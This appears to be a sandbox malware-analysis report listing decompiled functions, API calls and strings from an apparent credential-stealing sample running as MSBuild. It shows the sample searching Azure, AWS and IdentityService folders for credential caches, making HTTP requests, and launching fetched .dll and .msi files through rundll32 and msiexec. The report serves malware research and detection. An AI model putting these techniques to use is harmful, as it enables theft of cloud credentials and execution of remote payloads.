API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 0040A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0040AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0040ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A8B0

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00D40578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrcatA.KERNEL32(?,00000000,00000000,00D54E58,00421318,00D54E58,00421314), ref: 0040ACEB
lstrcatA.KERNEL32(?,00421320), ref: 0040ACFA
lstrcatA.KERNEL32(?,00000000), ref: 0040AD0D
lstrcatA.KERNEL32(?,00421324), ref: 0040AD1C
lstrcatA.KERNEL32(?,00000000), ref: 0040AD2F
lstrcatA.KERNEL32(?,00421328), ref: 0040AD3E
lstrcatA.KERNEL32(?,00000000), ref: 0040AD51
lstrcatA.KERNEL32(?,0042132C), ref: 0040AD60
lstrcatA.KERNEL32(?,00000000), ref: 0040AD73
lstrcatA.KERNEL32(?,00421330), ref: 0040AD82
lstrcatA.KERNEL32(?,00000000), ref: 0040AD95
lstrcatA.KERNEL32(?,00421334), ref: 0040ADA4
lstrcatA.KERNEL32(?,00000000), ref: 0040ADB7
lstrlenA.KERNEL32(?), ref: 0040AE0D
lstrlenA.KERNEL32(?), ref: 0040AE1C
memset.MSVCRT ref: 0040AE6B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0040ABD4

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction ID: fed50cc6e1efdc3a052f26cf913ed6c17941c683d425eb673400a9e06eca0bf1
Opcode Fuzzy Hash: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction Fuzzy Hash: D6127375951104ABDB04FBA1DD96EEE7339BF14314F50402EF407B2091DE38AE9ACB6A

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00D54F38,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

memset.MSVCRT ref: 00414F2B

Strings

Azure\.IdentityService, xrefs: 00414EEB
\.IdentityService\, xrefs: 00414ED9
\.azure\, xrefs: 00414DC1
msal.cache, xrefs: 00414EF0
\.aws\, xrefs: 00414E4D
Azure\.aws, xrefs: 00414E5F
*.*, xrefs: 00414DD8
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
*.*, xrefs: 00414E64
Azure\.azure, xrefs: 00414DD3

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 4017274736-156832076
Opcode ID: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 0040CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00D49E78,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,00D54E58,00421474,00D54E58,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00D40578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 00418320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.KERNEL32(00000000,00D53468,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

%s\%s, xrefs: 0041844D
- , xrefs: 004185A3
?, xrefs: 0041837A

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,00D54F68), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,00D562F0,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

GET, xrefs: 0040637C
ERROR, xrefs: 004064C9
ERROR, xrefs: 00406407

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00D40578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 0041577D
ERROR, xrefs: 00415849
ERROR, xrefs: 00415693
ERROR, xrefs: 004159FE
ERROR, xrefs: 00415636
ERROR, xrefs: 00415932

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

<, xrefs: 00413490
"" , xrefs: 0041309A
C:\Windows\system32\msiexec.exe, xrefs: 004134BF
/passive, xrefs: 0041345B
.dll, xrefs: 004131E5
C:\Windows\system32\rundll32.exe, xrefs: 00413332
/i ", xrefs: 004133E4
.msi, xrefs: 00413398

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
